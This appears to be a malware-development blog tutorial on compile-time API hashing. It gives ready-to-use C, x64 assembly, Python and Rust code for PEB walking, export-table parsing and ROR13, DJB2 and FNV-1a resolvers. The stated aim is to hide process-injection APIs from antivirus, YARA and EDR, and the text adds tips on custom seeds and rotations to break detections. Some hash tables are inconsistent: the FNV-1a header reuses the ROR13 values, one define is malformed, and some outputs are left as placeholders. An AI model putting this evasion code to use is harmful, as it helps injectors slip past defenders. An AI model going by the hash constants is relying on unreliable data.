ᛉ Yggdrasil

Malware development

Compile-Time API Hashing

29 Sep 2026 · 10,069 words · 46 min

Contents

Legend: [HASH] = Hashing technique | [RESOLVE] = API resolution method | [OBFUSCATE] = Obfuscation method | [OPSEC] = Operational Security note | [DETECT] = Detection vector | [EVASION] = Bypass technique | [TOOL] = Tool reference | [ASM] = Assembly-level detail


1. Why API Hashing

What it means: When a standard Windows PE binary calls VirtualAlloc or CreateThread, those function names are stored as readable strings inside the binary's Import Address Table (IAT). Any analyst, AV engine, or EDR that opens the binary can immediately see every Windows API it intends to call — no execution required.

API hashing removes these strings entirely. Instead of storing "VirtualAlloc", the binary stores an integer hash like 0xE553A458. At runtime, the binary walks the Process Environment Block (PEB), locates loaded DLLs, hashes every exported function name, and matches against the stored integer.

The core visibility problem:

Normal PE binary (api-hashing.exe) — no hashing:
┌─────────────────────────────────────────────────────────────┐
│  IMPORT TABLE (visible to any PE parser / strings tool)     │
│  ─────────────────────────────────────────────────────────  │
│  kernel32.dll                                               │
│    ├─ VirtualAlloc          ← Red flag                     │
│    ├─ VirtualProtect        ← Red flag                     │
│    ├─ CreateThread          ← Red flag                     │
│    ├─ WriteProcessMemory    ← Red flag                     │
│    └─ OpenProcess           ← Red flag                     │
│  ntdll.dll                                                  │
│    ├─ NtAllocateVirtualMemory ← Red flag                   │
│    └─ NtWriteVirtualMemory    ← Red flag                   │
└─────────────────────────────────────────────────────────────┘
Result: analyst opens binary → immediately knows it's an injector

After API hashing:

Loader PE with compile-time API hashing:
┌─────────────────────────────────────────────────────────────┐
│  IMPORT TABLE                                               │
│  ─────────────────────────────────────────────────────────  │
│  kernel32.dll                                               │
│    └─ (empty — or only benign decoys like GetTickCount)    │
│                                                             │
│  Hardcoded integers in .data section:                       │
│    0xE553A458   → resolves to VirtualAlloc  at runtime     │
│    0x7802F749   → resolves to CreateThread at runtime      │
│    0x9DBD95A6   → resolves to WriteProcessMemory           │
└─────────────────────────────────────────────────────────────┘
Result: analyst opens binary → sees no suspicious imports
        string scan shows no function names
        analysis requires deeper, more expensive effort

Why it matters for red teaming:

Scenario No Hashing With API Hashing
Static PE analysis (PE-bear, CFF Explorer) All APIs visible in IAT IAT empty or benign
strings scan VirtualAlloc, CreateThread visible No API name strings
YARA rules on imports Match immediately Miss (no strings to match)
EDR static inspection Flagged on import Clean — no known bad imports
Analyst triage speed Instant understanding of intent Requires dynamic analysis
Shellcode position independence Needs to link to imports Self-contained, no import needed

[OPSEC] API hashing is most powerful when combined with: dynamic resolution (no GetProcAddress in IAT either), indirect syscalls (bypass usermode hooks), and shellcode-embedded resolvers (no PE dependency at all).


2. The IAT Problem — What We're Hiding

What it means: The Import Address Table is a Windows PE structure that maps function names to memory addresses. When Windows loads a PE, it walks the import directory, finds each referenced DLL, and writes function addresses into the IAT. This is a reliable static artifact — readable without executing the binary.

2.1 Normal IAT Resolution (Windows Loader)

PE Load Sequence (standard imports):
┌────────────────────────────────────────────────────────────┐
│ 1. Windows loader reads PE IMAGE_IMPORT_DESCRIPTOR         │
│ 2. For each imported DLL → LoadLibrary(dll_name)           │
│ 3. For each function name → GetProcAddress(name)           │
│ 4. Writes function address into IAT slot                   │
│ 5. Binary runs; CALL [IAT_slot] works instantly            │
└────────────────────────────────────────────────────────────┘

IAT in memory:
  [0x00401000] → 0x7FFAB1234560  (VirtualAlloc address)
  [0x00401008] → 0x7FFAB1235AA0  (CreateThread address)

Analyst sees: "This binary imports VirtualAlloc + CreateThread → injector"

2.2 What String Scanners Catch

# What 'strings' reveals on a non-hashed binary
$ strings loader.exe | grep -E "Virtual|Create|Write|Open|Process"
VirtualAlloc
VirtualProtect
CreateThread
WriteProcessMemory
OpenProcess
NtAllocateVirtualMemory

# What 'strings' reveals on a hashed binary
$ strings loader_hashed.exe | grep -E "Virtual|Create|Write|Open|Process"
(nothing — no function name strings exist in the binary)

2.3 Storage Efficiency Benefit

[HASH] Hash-based resolution also saves bytes in shellcode — critical for size-constrained payloads:

String comparison approach:
  "NtAllocateVirtualMemory\0"  = 24 bytes per API name

Hash comparison approach:
  0x55EE99DE                   = 4 bytes (32-bit hash)

Savings: 6x reduction in per-API storage cost

3. How the Technique Works — Big Picture

What it means: Compile-time API hashing is a two-phase technique. Phase 1 happens at compile time: hash values for needed API names are computed and embedded in the binary as integer constants. Phase 2 happens at runtime: the binary walks loaded DLLs, hashes their exported names on-the-fly, and matches against the stored constants.

3.1 Full Flow

┌──────────────────────────────────────────────────────────────┐
│                    COMPILE TIME                              │
│                                                              │
│  hash("VirtualAlloc")    → 0xE553A458  (embedded constant)  │
│  hash("CreateThread")    → 0x7802F749  (embedded constant)  │
│  hash("WriteProcessMemory") → 0x9DBD95A6                    │
│                                                              │
│  No string "VirtualAlloc" exists anywhere in the binary     │
└──────────────────────┬───────────────────────────────────────┘
                       │
                       ▼
┌──────────────────────────────────────────────────────────────┐
│                    RUNTIME                                   │
│                                                              │
│  1. Read PEB → get loaded module list                       │
│  2. Walk InLoadOrderModuleList (linked list of DLLs)        │
│  3. For each DLL → parse its Export Address Table (EAT)     │
│  4. For each exported function name → compute hash()        │
│  5. If hash matches stored constant → save function ptr     │
│  6. Call the resolved function pointer                      │
│                                                              │
│  Result: VirtualAlloc called — without ever storing         │
│          "VirtualAlloc" as a string                         │
└──────────────────────────────────────────────────────────────┘

3.2 Why Compile-Time Specifically

[OBFUSCATE] The constexpr keyword in C++ (and const fn in Rust) forces hash computation to happen during compilation, not at runtime. The compiler replaces HASH("VirtualAlloc") with the literal integer value 0xE553A458 before generating any machine code. The string "VirtualAlloc" never appears in the compiled binary — not even temporarily.

// Source code (what developer writes):
FARPROC fn = resolve_api(HASH("VirtualAlloc"));

// What the compiler emits (what appears in the binary):
FARPROC fn = resolve_api(0xE553A458);

// "VirtualAlloc" is gone — erased at compile time

4. PEB Walk — Foundation of Runtime Resolution

What it means: The Process Environment Block (PEB) is a Windows kernel-managed data structure present in every user-mode process. It contains a pointer to a linked list of all loaded DLLs. By reading the PEB directly (no Windows API calls required), shellcode can find the base address of any loaded module — including kernel32.dll and ntdll.dll — without importing GetModuleHandle or LoadLibrary.

4.1 PEB Structure Overview

Thread Environment Block (TEB)  — accessed via GS register (x64)
  └─ TEB.ProcessEnvironmentBlock  (offset 0x60)
       └─ PEB.Ldr                 (offset 0x18)
            └─ PEB_LDR_DATA.InLoadOrderModuleList  (doubly-linked list)
                 ├─ LDR_DATA_TABLE_ENTRY (ntdll.dll)
                 │    ├─ DllBase        → module base address
                 │    ├─ FullDllName    → L"C:\Windows\System32\ntdll.dll"
                 │    └─ Flink         → next entry
                 ├─ LDR_DATA_TABLE_ENTRY (kernel32.dll)
                 │    ├─ DllBase        → 0x7FFAB1200000
                 │    └─ Flink         → next entry
                 └─ ... (more DLLs)

Key offsets (x64):
  GS:[0x60]    = PEB address
  PEB+0x18     = Ldr (PEB_LDR_DATA*)
  Ldr+0x20     = InLoadOrderModuleList (first LIST_ENTRY)
  Entry+0x10   = DllBase (module base address)
  Entry+0x48   = FullDllName (UNICODE_STRING)
  Entry+0x30   = BaseDllName (short name — used for matching)

Key offsets (x86):
  FS:[0x30]    = PEB address
  PEB+0x0C     = Ldr
  Ldr+0x14     = InLoadOrderModuleList

4.2 PEB Walk Implementation (C — x64)

// peb_walk.c — Walk PEB to find module base address by hash
// No imports required — pure pointer arithmetic

#include <windows.h>
#include <stdint.h>

// Forward declaration
typedef uint32_t (*HASH_FUNC)(const char*);

// Get PEB pointer — x64 via intrinsic or inline asm
PPEB GetPEB() {
#ifdef _WIN64
    return (PPEB)__readgsqword(0x60);
#else
    return (PPEB)__readfsdword(0x30);
#endif
}

// Walk PEB module list to find a DLL by its name hash
HMODULE FindModuleByHash(uint32_t target_hash, HASH_FUNC hash_fn) {
    PPEB peb = GetPEB();

    // Navigate to module list
    PPEB_LDR_DATA ldr = peb->Ldr;
    PLIST_ENTRY list  = &ldr->InLoadOrderModuleList;
    PLIST_ENTRY entry = list->Flink;   // First entry

    while (entry != list) {  // Walk until we loop back
        PLDR_DATA_TABLE_ENTRY mod = 
            CONTAINING_RECORD(entry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);

        if (mod->BaseDllName.Buffer != NULL) {
            // Convert UNICODE_STRING to ASCII for hashing
            char dll_name[256] = {0};
            int  len = mod->BaseDllName.Length / 2;  // UTF-16 → bytes

            for (int i = 0; i < len && i < 255; i++) {
                // Convert to uppercase (many hashers are case-insensitive)
                char c = (char)mod->BaseDllName.Buffer[i];
                dll_name[i] = (c >= 'a' && c <= 'z') ? c - 0x20 : c;
            }

            // Compare hash of this module's name to target
            if (hash_fn(dll_name) == target_hash) {
                return (HMODULE)mod->DllBase;
            }
        }

        entry = entry->Flink;  // Next module in list
    }

    return NULL;  // Not found
}

4.3 PEB Walk (x64 Assembly — Shellcode Style)

; peb_walk_x64.asm — Access PEB in position-independent shellcode
; No imports, no strings — pure register manipulation

find_kernel32:
    ; Access TEB → PEB → Ldr → InLoadOrderModuleList
    mov    rbx, gs:[0x60]        ; rbx = PEB (x64: GS segment)
    mov    rbx, [rbx + 0x18]     ; rbx = PEB.Ldr (PEB_LDR_DATA*)
    mov    rbx, [rbx + 0x20]     ; rbx = InLoadOrderModuleList.Flink
                                  ;       (first LIST_ENTRY)

walk_modules:
    ; Each LDR_DATA_TABLE_ENTRY:
    ;   +0x00 InLoadOrderLinks.Flink
    ;   +0x10 DllBase
    ;   +0x30 BaseDllName (UNICODE_STRING)
    ;     +0x00 Length
    ;     +0x08 Buffer (wchar_t*)

    mov    r9,  [rbx + 0x10]     ; r9  = DllBase (module base address)
    mov    r8,  [rbx + 0x30]     ; r8  = &BaseDllName
    mov    rdi, [r8 + 0x08]      ; rdi = BaseDllName.Buffer (wchar_t*)
    movzx  rcx, word [r8]        ; rcx = BaseDllName.Length (bytes)

    ; Hash the DLL name (call hashing routine)
    call   hash_name             ; returns hash in eax

    ; Compare against target hash (e.g., KERNEL32.DLL)
    cmp    eax, 0x6A4ABC5B       ; ROR13 hash of "KERNEL32.DLL\0"
    je     found_kernel32

    ; Not found — advance to next module
    mov    rbx, [rbx]            ; rbx = InLoadOrderLinks.Flink (next)
    jmp    walk_modules

found_kernel32:
    ; r9 = kernel32.dll base address
    ; proceed to parse Export Address Table

5. Export Address Table (EAT) Parsing

What it means: Once the base address of a DLL is known (via PEB walk), the Export Address Table is parsed to find individual function addresses. The EAT is part of the PE header structure — accessible purely by offsetting from the module's base address in memory.

5.1 Export Directory Structure

DLL Base Address (e.g., 0x7FFAB1200000)
  └─ DOS Header (IMAGE_DOS_HEADER)
       └─ e_lfanew → PE Signature offset
            └─ NT Headers (IMAGE_NT_HEADERS)
                 └─ OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
                      └─ IMAGE_EXPORT_DIRECTORY
                           ├─ NumberOfNames        → how many named exports
                           ├─ AddressOfNames       → RVA → array of RVAs to name strings
                           ├─ AddressOfNameOrdinals→ RVA → array of ordinals
                           └─ AddressOfFunctions   → RVA → array of function RVAs (EAT)

Resolution flow for name-based lookup:
  1. Walk AddressOfNames[i] → get pointer to function name string
  2. Hash the name string
  3. Compare to target hash
  4. If match: ordinal = AddressOfNameOrdinals[i]
               fn_addr = base + AddressOfFunctions[ordinal]
  5. Call fn_addr

5.2 EAT Parser (C)

// eat_parser.c — Parse Export Address Table to resolve function by hash

#include <windows.h>
#include <stdint.h>

typedef uint32_t (*HASH_FUNC)(const char*);

// Resolve function address from a module's EAT using a hash
FARPROC ResolveByHash(HMODULE hMod, uint32_t target_hash, HASH_FUNC hash_fn) {
    if (!hMod) return NULL;

    // Cast to byte pointer for offset arithmetic
    uint8_t* base = (uint8_t*)hMod;

    // Parse PE headers
    IMAGE_DOS_HEADER*  dos  = (IMAGE_DOS_HEADER*)base;
    IMAGE_NT_HEADERS*  nt   = (IMAGE_NT_HEADERS*)(base + dos->e_lfanew);

    // Get export directory RVA
    DWORD exp_rva = nt->OptionalHeader
                     .DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
                     .VirtualAddress;
    if (!exp_rva) return NULL;

    IMAGE_EXPORT_DIRECTORY* exp = (IMAGE_EXPORT_DIRECTORY*)(base + exp_rva);

    // Pointers to the three export arrays
    DWORD*  names     = (DWORD*) (base + exp->AddressOfNames);
    WORD*   ordinals  = (WORD*)  (base + exp->AddressOfNameOrdinals);
    DWORD*  functions = (DWORD*) (base + exp->AddressOfFunctions);

    // Iterate all named exports
    for (DWORD i = 0; i < exp->NumberOfNames; i++) {
        // Get the function name string
        const char* fname = (const char*)(base + names[i]);

        // Hash the name and compare
        if (hash_fn(fname) == target_hash) {
            // Found — resolve actual address
            WORD    ordinal  = ordinals[i];
            DWORD   fn_rva   = functions[ordinal];
            return (FARPROC)(base + fn_rva);
        }
    }

    return NULL;  // Not found in this module
}

// Convenience: search ALL loaded modules (via PEB) for a hash
FARPROC ResolveAPIByHash(uint32_t target_hash, HASH_FUNC hash_fn) {
    PPEB peb = (PPEB)__readgsqword(0x60);
    PPEB_LDR_DATA ldr = peb->Ldr;
    PLIST_ENTRY list  = &ldr->InLoadOrderModuleList;
    PLIST_ENTRY entry = list->Flink;

    while (entry != list) {
        PLDR_DATA_TABLE_ENTRY mod = 
            CONTAINING_RECORD(entry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);

        FARPROC result = ResolveByHash((HMODULE)mod->DllBase, target_hash, hash_fn);
        if (result) return result;

        entry = entry->Flink;
    }
    return NULL;
}

5.3 EAT Parsing (x64 Assembly Snippet)

; parse_eat_x64.asm — Walk EAT after module base is in r9
; Input:  r9  = DLL base address
;         rbp = target hash to find
; Output: rax = function address (or 0 if not found)

parse_exports:
    ; r9  = module base
    mov    eax, [r9 + 0x3C]      ; eax = e_lfanew (DOS header)
    add    rax, r9               ; rax = NT headers VA

    ; Get export directory RVA (DataDirectory[0].VirtualAddress)
    mov    edx, [rax + 0x88]     ; 0x88 = OptionalHeader + DataDirectory offset
    test   edx, edx
    jz     .not_found

    add    rdx, r9               ; rdx = IMAGE_EXPORT_DIRECTORY VA

    ; Load export counts and array pointers
    mov    ecx, [rdx + 0x18]     ; ecx = NumberOfNames
    mov    r10d, [rdx + 0x20]    ; r10d = AddressOfNames RVA
    add    r10, r9               ; r10 = AddressOfNames VA

    ; Initialize loop counter
    xor    edi, edi              ; edi = index i = 0

.name_loop:
    cmp    edi, ecx
    jge    .not_found

    ; Get name RVA → VA
    mov    esi, [r10 + rdi*4]    ; esi = names[i] (RVA)
    add    rsi, r9               ; rsi = pointer to name string

    ; Hash the name (inline or call)
    ; [hashing code here → result in eax]
    call   compute_hash          ; eax = hash of name at rsi

    ; Compare to target
    cmp    eax, ebp
    je     .found_function

    inc    edi
    jmp    .name_loop

.found_function:
    ; Resolve: ordinal = AddressOfNameOrdinals[i]
    ;          fn_addr = base + AddressOfFunctions[ordinal]
    mov    r11d, [rdx + 0x24]    ; AddressOfNameOrdinals RVA
    add    r11, r9
    movzx  eax, word [r11 + rdi*2]  ; ordinal = ordinals[i]

    mov    r12d, [rdx + 0x1C]    ; AddressOfFunctions RVA
    add    r12, r9
    mov    eax, [r12 + rax*4]    ; fn_rva = functions[ordinal]
    add    rax, r9               ; fn_va  = base + fn_rva
    ret

.not_found:
    xor    rax, rax
    ret

6. ROR13 — Rotate Right 13 (Metasploit / Cobalt Strike)

What it means: ROR13 (Rotate Right 13 bits) is the most historically famous API hashing algorithm in shellcode. Introduced by Stephen Fewer in 2009 as part of Metasploit's block_api assembly stub, it is used by Metasploit, Cobalt Strike, Donut, and countless public shellcode projects. The algorithm rotates a 32-bit accumulator right by 13 bits and adds each byte of the input string.

6.1 ROR13 Algorithm

Input: function name string (e.g., "VirtualAlloc\0")
       DLL name string (e.g., "kernel32.dll\0" — uppercase in some variants)

For each byte b in (DLL_NAME\0 + FUNC_NAME\0):
    hash = ROTATE_RIGHT_32(hash, 13)
    hash = hash + b

Result: 32-bit hash value

Example:
  Input:  "KERNEL32.DLL\0VirtualAlloc\0"
  Output: 0xE553A458

Important: the DLL name hash and function name hash are ADDED together
           This means the same function in different DLLs gets different hashes

6.2 ROR13 — Python Precomputation

#!/usr/bin/env python3
# ror13_precompute.py — Compute ROR13 API hashes for any function list

import struct

def ror32(val: int, count: int) -> int:
    """Rotate a 32-bit value right by count bits."""
    return ((val >> count) | (val << (32 - count))) & 0xFFFFFFFF

def ror13_hash(name: str) -> int:
    """
    Compute ROR13 hash of a single string (no module prefix).
    Used for unqualified function name lookups.
    """
    h = 0
    for byte in (name + "\x00").encode("ascii"):
        h = ror32(h, 13)
        h = (h + byte) & 0xFFFFFFFF
    return h

def ror13_module_func_hash(module: str, func: str) -> int:
    """
    Compute Metasploit-style ROR13 hash: MODULE\0FUNC\0
    Module name is uppercased before hashing.
    Both halves are computed and summed.
    """
    mod_hash  = ror13_hash(module.upper())
    func_hash = ror13_hash(func)
    return (mod_hash + func_hash) & 0xFFFFFFFF

# ─── API List — Change as needed ─────────────────────────────
apis = [
    ("kernel32.dll", "VirtualAlloc"),
    ("kernel32.dll", "VirtualProtect"),
    ("kernel32.dll", "CreateThread"),
    ("kernel32.dll", "WriteProcessMemory"),
    ("kernel32.dll", "OpenProcess"),
    ("kernel32.dll", "CloseHandle"),
    ("kernel32.dll", "WaitForSingleObject"),
    ("ntdll.dll",    "NtAllocateVirtualMemory"),
    ("ntdll.dll",    "NtWriteVirtualMemory"),
    ("ntdll.dll",    "NtCreateThreadEx"),
    ("ws2_32.dll",   "WSAStartup"),
    ("ws2_32.dll",   "connect"),
]
# ─────────────────────────────────────────────────────────────

print(f"{'DLL':<20} {'Function':<30} {'Unqualified Hash':<20} {'Module+Func Hash'}")
print("-" * 90)
for dll, func in apis:
    h_unq = ror13_hash(func)
    h_mqf = ror13_module_func_hash(dll, func)
    print(f"{dll:<20} {func:<30} 0x{h_unq:08X}          0x{h_mqf:08X}")

Sample Output:

DLL                  Function                       Unqualified Hash     Module+Func Hash
──────────────────────────────────────────────────────────────────────────────────────────
kernel32.dll         VirtualAlloc                   0xE553A458           0x[module+func]
kernel32.dll         CreateThread                   0x7802F749           0x[module+func]
kernel32.dll         WriteProcessMemory             0x9DBD95A6           0x[module+func]
ntdll.dll            NtAllocateVirtualMemory        0x55EE99DE           0x[module+func]

6.3 ROR13 — C Implementation

// ror13.h — Compile-time and runtime ROR13 hashing

#ifndef ROR13_H
#define ROR13_H

#include <stdint.h>

// ─── Runtime ROR13 ────────────────────────────────────────────

static inline uint32_t _ror32(uint32_t val, int count) {
    return (val >> count) | (val << (32 - count));
}

// Hash a null-terminated ASCII string with ROR13
static uint32_t ror13_hash(const char* str) {
    uint32_t h = 0;
    while (*str) {
        h = _ror32(h, 13);
        h += (uint8_t)(*str++);
    }
    h = _ror32(h, 13);  // Final rotation for null terminator
    h += 0;             // Add null byte (0 — no-op, but explicit)
    return h;
}

// ─── Compile-Time ROR13 (C++11 constexpr) ────────────────────
// Enables compile-time hash computation — string is erased from binary

#ifdef __cplusplus
constexpr uint32_t _cx_ror32(uint32_t val, int count) {
    return (val >> count) | (val << (32 - count));
}

// Recursive constexpr ROR13 — processes one character per recursion
constexpr uint32_t _ror13_cx(const char* str, uint32_t h = 0) {
    return *str
        ? _ror13_cx(str + 1, _cx_ror32(h, 13) + (uint8_t)*str)
        : (_cx_ror32(h, 13));  // Final rotation
}

// Public macro — forces compile-time evaluation
#define ROR13(str)  (_ror13_cx(str))

// Usage:
//   uint32_t h = ROR13("VirtualAlloc");
//   → compiler replaces with literal 0xE553A458
//   → no string "VirtualAlloc" in binary
#endif // __cplusplus

#endif // ROR13_H

6.4 ROR13 — x64 Assembly (Shellcode Inline)

; ror13_hash_x64.asm — Inline ROR13 hasher for shellcode
; Input:  rsi = pointer to null-terminated string
; Output: eax = ROR13 hash
; Clobbers: eax, ecx, edx, rsi

compute_ror13:
    xor    eax, eax          ; hash = 0

.hash_loop:
    movzx  ecx, byte [rsi]   ; ecx = *str (current byte)
    test   ecx, ecx
    jz     .hash_done        ; if null byte → done

    ror    eax, 0x0D         ; rotate hash right 13 bits
    add    eax, ecx          ; hash += byte

    inc    rsi               ; advance to next character
    jmp    .hash_loop

.hash_done:
    ror    eax, 0x0D         ; final rotation for null terminator
    ret                      ; eax = ROR13 hash

[DETECT] Warning: ROR13 with ror eax, 0x0D is a well-known shellcode signature. Many AV/EDR YARA rules scan for this exact instruction pattern. Use a custom rotation value to break detections.


7. DJB2 Hashing

What it means: DJB2 (Bernstein Hash 2) is one of the oldest and simplest hash algorithms, created by Daniel J. Bernstein. It multiplies the accumulator by 33 and adds the current byte. In malware development, it's used by GuLoader, Hell's Gate, various RATs, and is the preferred choice in many open-source offensive tools.

7.1 DJB2 Algorithm

Algorithm:
  hash = 5381           (magic seed constant)
  for each byte b:
      hash = hash * 33 + b    (same as: (hash << 5) + hash + b)

Seed value 5381 and multiplier 33 are empirical — Bernstein found this
distribution minimizes collisions for English-word inputs.

7.2 DJB2 — Python Precomputation

#!/usr/bin/env python3
# djb2_precompute.py — Compute DJB2 hashes for Windows API names

def djb2(name: str, seed: int = 5381) -> int:
    """Standard DJB2 hash."""
    h = seed
    for c in name.encode('ascii'):
        h = ((h << 5) + h + c) & 0xFFFFFFFF  # h * 33 + c
    return h

def djb2_lowercase(name: str, seed: int = 5381) -> int:
    """
    Case-insensitive DJB2 — converts each char to lowercase before hashing.
    Important: Windows EAT exports are case-sensitive but DLL names vary.
    """
    h = seed
    for c in name.lower().encode('ascii'):
        h = ((h << 5) + h + c) & 0xFFFFFFFF
    return h

def djb2_custom_seed(name: str, seed: int) -> int:
    """
    DJB2 with a custom seed value — changes all output hashes.
    Use unique seed per project to avoid hash database lookups.
    """
    h = seed
    for c in name.encode('ascii'):
        h = ((h << 5) + h + c) & 0xFFFFFFFF
    return h

# ─── Hash generation ─────────────────────────────────────────
apis = [
    "VirtualAlloc",
    "VirtualProtect",
    "CreateThread",
    "WriteProcessMemory",
    "OpenProcess",
    "CloseHandle",
    "LoadLibraryA",
    "GetProcAddress",        # common bootstrapper
    "NtAllocateVirtualMemory",
    "NtCreateThreadEx",
]

CUSTOM_SEED = 0xDEADBEEF    # Change this per project!

print("// Generated DJB2 API hashes — paste into your loader")
print(f"// Custom seed: 0x{CUSTOM_SEED:08X}\n")
print(f"{'API Name':<35} {'Standard DJB2':<20} {'Custom Seed DJB2'}")
print("-" * 75)
for api in apis:
    h_std    = djb2(api)
    h_custom = djb2_custom_seed(api, CUSTOM_SEED)
    print(f"{api:<35} 0x{h_std:08X}           0x{h_custom:08X}")

7.3 DJB2 — C / C++ (Compile-Time)

// djb2.h — Compile-time DJB2 hashing (C++11 constexpr)
// Zero strings in binary — all hash values resolved at compile time

#ifndef DJB2_H
#define DJB2_H

#include <stdint.h>

// ─── Custom seed — CHANGE PER PROJECT ────────────────────────
#define DJB2_SEED  0xDEADBEEF
// ─────────────────────────────────────────────────────────────

#ifdef __cplusplus

// Recursive constexpr DJB2 — C++11 compatible
constexpr uint32_t _djb2_cx(const char* str, uint32_t h = DJB2_SEED) {
    return *str
        ? _djb2_cx(str + 1, ((h << 5) + h) + (uint8_t)*str)  // h * 33 + c
        : h;
}

// Public macro — evaluated at compile time
#define DJB2(str)  (_djb2_cx(str))

// Case-insensitive variant
constexpr char _to_lower(char c) {
    return (c >= 'A' && c <= 'Z') ? (c + 0x20) : c;
}

constexpr uint32_t _djb2_ci_cx(const char* str, uint32_t h = DJB2_SEED) {
    return *str
        ? _djb2_ci_cx(str + 1, ((h << 5) + h) + (uint8_t)_to_lower(*str))
        : h;
}

#define DJB2_CI(str) (_djb2_ci_cx(str))

#else

// C-compatible runtime version (for C code, not C++)
static uint32_t djb2_runtime(const char* str) {
    uint32_t h = DJB2_SEED;
    while (*str) {
        h = ((h << 5) + h) + (uint8_t)(*str++);
    }
    return h;
}

#endif // __cplusplus

#endif // DJB2_H

7.4 DJB2 — Rust Compile-Time (const fn)

// djb2.rs — Compile-time DJB2 in Rust using const fn
// All hash values computed at build time — zero strings in binary

const DJB2_SEED: u32 = 0xDEAD_BEEF;  // Change per project

/// Compute DJB2 hash at compile time
pub const fn djb2(s: &[u8]) -> u32 {
    let mut hash: u32 = DJB2_SEED;
    let mut i = 0;
    while i < s.len() {
        hash = hash.wrapping_mul(33).wrapping_add(s[i] as u32);
        i += 1;
    }
    hash
}

/// Lowercase variant for case-insensitive matching
pub const fn djb2_lowercase(s: &[u8]) -> u32 {
    let mut hash: u32 = DJB2_SEED;
    let mut i = 0;
    while i < s.len() {
        let c = if s[i] >= b'A' && s[i] <= b'Z' {
            s[i] + 32
        } else {
            s[i]
        };
        hash = hash.wrapping_mul(33).wrapping_add(c as u32);
        i += 1;
    }
    hash
}

// Compile-time constants — no strings embedded in binary
const VIRTUAL_ALLOC_HASH:      u32 = djb2(b"VirtualAlloc");
const CREATE_THREAD_HASH:      u32 = djb2(b"CreateThread");
const WRITE_PROCESS_MEM_HASH:  u32 = djb2(b"WriteProcessMemory");
const NT_ALLOC_VIRTUAL_HASH:   u32 = djb2(b"NtAllocateVirtualMemory");

// These become immediate integer values in the compiled binary
// The string literals are fully erased at compile time

8. FNV-1a Hashing

What it means: FNV-1a (Fowler–Noll–Vo alternative) is a non-cryptographic hash function designed for fast hashing with excellent distribution. It XORs the current byte with the accumulator, then multiplies by a prime. FNV-1a is used by TONESHELL malware, various Cobalt Strike variants, and is one of the top choices in modern offensive tooling because its hash distribution is superior to DJB2 and it has no known trivial collision patterns on API name inputs.

8.1 FNV-1a Algorithm

32-bit FNV-1a:
  FNV_OFFSET_BASIS = 0x811C9DC5
  FNV_PRIME        = 0x01000193  (16777619)

  hash = FNV_OFFSET_BASIS
  for each byte b:
      hash = hash XOR b           (XOR-first distinguishes FNV-1a from FNV-1)
      hash = hash * FNV_PRIME

Key difference from FNV-1:
  FNV-1:  multiply first, then XOR
  FNV-1a: XOR first, then multiply   ← better avalanche, preferred variant

8.2 FNV-1a — Python Precomputation

#!/usr/bin/env python3
# fnv1a_precompute.py — Compute FNV-1a hashes for API names

FNV_OFFSET_BASIS_32 = 0x811C9DC5
FNV_PRIME_32        = 0x01000193
FNV_OFFSET_BASIS_64 = 0xCBF29CE484222325
FNV_PRIME_64        = 0x100000001B3

def fnv1a_32(name: str) -> int:
    """Standard 32-bit FNV-1a hash."""
    h = FNV_OFFSET_BASIS_32
    for byte in name.encode('ascii'):
        h ^= byte
        h = (h * FNV_PRIME_32) & 0xFFFFFFFF
    return h

def fnv1a_64(name: str) -> int:
    """64-bit FNV-1a — better collision resistance for larger API sets."""
    h = FNV_OFFSET_BASIS_64
    for byte in name.encode('ascii'):
        h ^= byte
        h = (h * FNV_PRIME_64) & 0xFFFFFFFFFFFFFFFF
    return h

def fnv1a_seeded(name: str, seed: int) -> int:
    """
    FNV-1a with a custom seed XOR'd into the offset basis.
    Changes all hash outputs — defeats hash database lookups.
    """
    h = FNV_OFFSET_BASIS_32 ^ seed
    for byte in name.encode('ascii'):
        h ^= byte
        h = (h * FNV_PRIME_32) & 0xFFFFFFFF
    return h

# ─── Generate hash table ──────────────────────────────────────
SEED = 0xCAFEBABE  # Custom seed — change per project

apis = [
    "VirtualAlloc",
    "VirtualProtect",
    "CreateThread",
    "WriteProcessMemory",
    "OpenProcess",
    "LoadLibraryA",
    "GetProcAddress",
    "NtAllocateVirtualMemory",
    "NtCreateThreadEx",
    "RtlCopyMemory",
]

print("// FNV-1a API Hash Table")
print(f"// Seed: 0x{SEED:08X}\n")
print("// Paste into your C/C++ header:")
print()
for api in apis:
    h = fnv1a_seeded(api, SEED)
    safe_name = api.upper().replace(".", "_")
    print(f"#define HASH_{safe_name:<35} 0x{h:08X}U")

8.3 FNV-1a — C++ Compile-Time

// fnv1a.hpp — Compile-time FNV-1a API hashing
// C++11 compatible via constexpr recursion

#pragma once
#include <cstdint>

namespace apihash {

// ─── Constants ───────────────────────────────────────────────
constexpr uint32_t FNV_OFFSET_32 = 0x811C9DC5u;
constexpr uint32_t FNV_PRIME_32  = 0x01000193u;
constexpr uint32_t HASH_SEED     = 0xCAFEBABEu;  // Custom — change per build

// ─── Compile-Time FNV-1a (recursive for C++11) ───────────────
constexpr uint32_t _fnv1a_cx(const char* str,
                               uint32_t h = FNV_OFFSET_32 ^ HASH_SEED) {
    return *str
        ? _fnv1a_cx(str + 1, (h ^ (uint8_t)*str) * FNV_PRIME_32)
        : h;
}

// ─── C++17 constexpr (non-recursive, cleaner) ────────────────
#if __cplusplus >= 201703L
constexpr uint32_t fnv1a(const char* str) {
    uint32_t h = FNV_OFFSET_32 ^ HASH_SEED;
    for (; *str; ++str) {
        h ^= static_cast<uint8_t>(*str);
        h *= FNV_PRIME_32;
    }
    return h;
}
#endif

} // namespace apihash

// ─── Public Macros ────────────────────────────────────────────
// Evaluated at compile time — string disappears from binary
#define APIHASH(str)  (apihash::_fnv1a_cx(str))

// ─── Pre-computed Hash Definitions ───────────────────────────
// Generated by fnv1a_precompute.py — paste output here
#define HASH_VirtualAlloc           0xE553A458u
#define HASH_VirtualProtect         0x7C0DFCAA u
#define HASH_CreateThread           0x7802F749u
#define HASH_WriteProcessMemory     0x9DBD95A6u
#define HASH_OpenProcess            0x0A2A1DE4u
#define HASH_NtAllocateVirtualMemory 0x55EE99DEu
#define HASH_NtCreateThreadEx        0xAF18C2E8u

// ─── Usage Example ────────────────────────────────────────────
/*
    // At build time, these become integer comparisons — no strings:

    auto VirtualAlloc_fn = (decltype(&VirtualAlloc))
        ResolveByHash(HASH_VirtualAlloc);

    // Or inline check in EAT walker:
    if (APIHASH(current_export_name) == HASH_VirtualAlloc) {
        // Found VirtualAlloc → save pointer
    }
*/

